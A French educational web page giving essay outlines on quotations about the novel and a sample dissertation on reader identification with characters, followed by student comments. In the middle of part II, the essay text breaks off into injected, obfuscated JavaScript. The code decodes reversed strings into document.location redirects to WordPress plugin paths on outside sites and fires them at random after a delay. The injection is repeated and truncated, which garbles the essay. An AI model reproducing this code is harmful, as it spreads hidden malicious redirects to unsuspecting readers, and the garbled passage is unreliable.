« Si médiocre soit-il, un personnage de roman est toujours supérieur à un être humain. » - Clémence de Biéville. « Un héros de roman infidèle ! On n'aurait jamais rien vu de pareil ; il est réglé qu'ils doivent tous être constants. » - Marivaux . Observez ces deux citations. Décrivez la première, et appuyez-vous sur celle-ci pour comprendre le propos de la seconde.

I- Les codes du roman (topos, lieux communs, règles stylistiques, etc.) II- Le héros du roman : fantasme d'une époque ? (Le libertin dans Don Juan , l'humaniste dans Gargantua , etc.), ce qui lui donne toute sa grandeur surhumaine, puisqu'il est un concept. III- L'ironie de Marivaux (il s'agit, pour cette partie, d'avoir lu Marivaux : cet homme ayant écrit des pièces légères, se jouant dans les rues, ayant donné le terme de « marivaudage », ne saurait aborder les relations amoureuses de manière aussi stricte. Il s'amuse à faire jouer les roturiers aux nobles, et les nobles aux roturiers. Il sait lui-même que l'amour est volage, l'amour est fortuit, l'une de ses oeuvres s'appelle même Le Jeu de l'Amour et du Hasard .). Il sait que sa présentation des personnages, de manière un peu grotesque et comique, casse les codes des romances dramatiques l'ayant précédé. Même si le personnage de roman est un fantasme, il peut tout à fait être tourné en ridicule ; rien ne dit qu'un fantasme doit être désirable. (anti-héros)

« Le vrai roman, c'est celui dont la signification dépasse l'anecdote, la transcende, fonde une vérité humaine profonde, une morale ou une métaphysique. » - Alain Robbe-Grillet . Expliquez cette citation.

I- L'apport du réalisme dans le roman (roman réaliste, roman historique, exemple : La Ferme des animaux ) pour décrire la réalité. II- La transcendance du roman dans son propos : l'exemple du roman d'anticipation (1984, Le Meilleur des Mondes ) III- Les romans les plus fictionnels, moins réalistes et semblants donc moins en phase avec notre réalité peuvent-ils aussi, paradoxalement, transcender notre vision de l'existence, de la réalité ? (exemple : les romans d'Alain Damasio)

« Dans un bon roman policier rien n'est perdu, il n'y a pas de phrase ni de mot qui ne soient pas significatifs. » - Paul Auster. Développez cette réflexion.

I- Le roman policier (développer la description de ce genre) II- La valeur du pacte avec le lecteur (pas seulement la suspension de crédulité, mais aussi ici, l'attention du lecteur aux détails parsemés par l'auteur dans tout le roman) III- Réflexion sur la valeur d'un roman policier (il ne s'agit pas seulement de bien écrire, mais aussi de pouvoir collaborer suffisamment clairement avec le lecteur pour le laisser découvrir l'histoire à travers quelques indices parsemés. La valeur du roman policier tient donc aussi à ce que le lecteur peut lui offrir.)

« Il y a trois règles à respecter pour écrire un roman. Malheureusement, personne ne les connaît . » - William Somerset Maugham. Dissertez sur cette citation.

I- L'apparente technicité du roman, ses règles, ses lieux communs. II- La liberté du romancier (citer des auteurs qui ont révolutionné le roman) III- Réflexion sur ce qu'il est nécessaire de faire pour écrire un roman (qu'est-ce que le roman, finalement ? Une contrainte littéraire, mais si cette contrainte peut être remise en question, qu'est-ce de plus que de la prose ?)

« L'Histoire est un roman qui a été ; le roman est de l'histoire qui aurait pu être. » - Edmont et Jules de Goncourt. Expliquez cette citation avec l'exemple des réécritures et des romans historiques.  

I- Ce qu'est l'Histoire, dans ce qu'elle a de plus factuel (écrits, monuments, traités, empreinte environnementale, etc.) et de plus subjectif (l'Histoire n'est écrite que par les vainqueurs : voir la guerre de l'Empire Romain contre Vercingétorix et les Gaulois, par exemple) ; sous ce deuxième angle, l'Histoire prend déjà des airs de romans, à cause de sa subjectivité orientée en faveur des vainqueurs. II- Ce qu'est une réécriture, ce qu'est un roman historique et leur but. (exemple : La Guerre de Troie n'aura pas lieu , Notre-Dame de Paris ), l'appartenance au fictif, mais l'indéniable attache dans le présent en utilisant des lieux connus et plausibles pour l'histoire racontée. III- Quelle est, en vérité, la différence en l'histoire du roman et l'Histoire ? Un roman peut témoigner, décrire. Mais l'Histoire peut-elle être une démarche artistique ?

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Pour partager et aider grâce à  mon expérience, dissertation sur le roman.

Un roman est un miroir que lon promène le long dune route, Stendhal. Dissertez.

Introduction

Pour apprécier un roman, est-il nécessaire que le lecteur se reconnaisse et partage les sentiments du personnage principal?

I Pour apprécier, le lecteur a besoin de s’identifier

Le roman est un récit fictif qui raconte les aventures d’un personnage imaginaire. Le lecteur apprécie plus facilement le roman lorsqu’il se sent plus proche du personnage principal.

A) Plus facilement compréhensible, le personnage possède des caractères humains

Le lecteur peut s’identifier au personnage ce qui permet de mieux comprendre le récit et se sentir concerné. Le lecteur peut s’identifier plus facilement au personnage principal lorsqu’il vit dans un cadre de vie réel et possède des caractères humains. Le lecteur rencontre en effet un personnage qui a les mêmes préoccupations du quotidien. Dans les romans réalistes du XIXe siècle par exemple, le romancier s’attache à  décrire le personnage dans ses moindres détails de l’apparence à  sa psychologie avec la volonté de transcrire le réel. Dans le roman du Père Goriot , Balzac raconte l’ascension d’Eugene Rastignac dans la société de l’ancien règime. Il décrit le personnage principal Eugène Rastignac de façon très précise avec un souci du détail vrai. Le lecteur peut alors s’identifier au personnage qui lui ressemble. De même, l’identification au personnage principal est plus simple lorsqu’il vit dans un cadre de vie réel. Emile Zola raconte, dans le roman L’Assommoir, la déchèance dune ouvrière, Gervaise Macquart, dans les faubourgs parisiens de l’ancien régime. Zola évoque avec minutie les diffèrents quartiers de Paris. Un lecteur parisien va se sentir proche du personnage principal et situer plus facilement le récit, ce qui va faciliter l’appréciation du roman.

B) Il possède les mêmes valeurs, les mêmes expériences et se pose les mêmes questions que le personnage. Il se sent compris et s’intéresse au destin du personnage.

C)il vit des aventures du personnage principal en résonnance. il peut vivre des aventures uniques..

Par ailleurs, le lecteur apprécie le roman en s’identifiant au personnage principal car il  va pouvoir vivre les « en résonance » les aventures. Le lecteur va en effet s’imaginer à  la place du personnage. De même,  par exemple en s’identifiant au personnage de Fhileas Fogg du roman d’aventure Le Tour du Monde en Quatre-Vingt Jours de Jules Vernes, le lecteur vit les aventures par procuration ce qui est très plaisant. Le lecteur espère naturellement la réussite des héros qu’il accompagne,  et le succès que le personnage rencontre est souvent proportionnel à  l’élan que le lecteur peut ressentir dans sa lecture. Le lecteur peut ainsi s’évader et oublier le quotidien. C’est d’ailleurs un des principes du roman policier o๠l’on attend que l’enquêteur résolve l’énigme.

TRANSITION:  Certes l’identification permet au lecteur d’apprécier le roman  mais certaines situations l’identification au personnage parait comme difficile voire impossible ainsi que partager des sentiments avec le personnage principal. Pour autant le lecteur peut apprécier le roman.

II L’identification n’est $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);} toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);} tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); 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A) le lecteur peut ne pas sidentifier au personnage., b) le personnage n’est qu’ tre de papier dont l’épaisseur psychologique est limitée, c) des personnages trop stéréotypés.

Que le lecteur s’identifie ou non au personnage principal, il ne s’attache pas uniquement au personnage principal pour apprécier le roman. Le roman n’est que composé du personnage principal ?

III Que le lecteur sidentifie ou non au personnage principal, il ne sattache pas uniquement au personnage principal pour apprécier le roman. On ne peut réduire un roman quau personnage principal. Dautres éléments sont à  lorigine de la réussite dun roman.

A) l’importance de l’intrigue, b) le rà´le de l’écriture, c) un roman est un moyen de faire réfléchir le lecteur, 9 reflexions sur “ dissertation sur le roman ”.

Merci beaucoup pour cette dissert, vous m’avez sauvé la vie pour mon devoir à rendre !! Elle est hyper bien rédigée cette dissertation, vous aviez quelle note ? Continuez ainsi!!

Merci pour ce commentaire très sympa!! J’avais eu 15/20 🙂 L’admin

Top cette dissert merci 🙂

Merci !!! Super rédaction, par rapport à moi en tout cas 😉

Bonjour , j’ai une dissertation à faire dans deux jour mais j’arrive pas pouvez m’aider svp Le sujet c’est pour apprécier un roman,un lecteur à t-il besoin de s´identifier au personnage principal et de partager ses sentiments ? Merci de votre compréhension et de me répondre au plus vite !

Salut elle est super cette dissertation. J’ai eu 16. Merci. Mon prof nous propose un autre sujet : La société est elle le seul obstacle à la réussite du personnage ambitieux ? Pour répondre à cet question vous vous appuierez essentiellement sur le roman le rouge et le noir de Stendhal ainsi que vos lectures perosnnelles . Peux tu m’aider ?

mec, tu viens sans doute de me sauver la vie MERCI très bien écrit, je me prosterne

Tant mieux ! Pas besoin de se prosterner 😂😂 Bon confinement

Si t’en a d’autres comme ça fait péter bg

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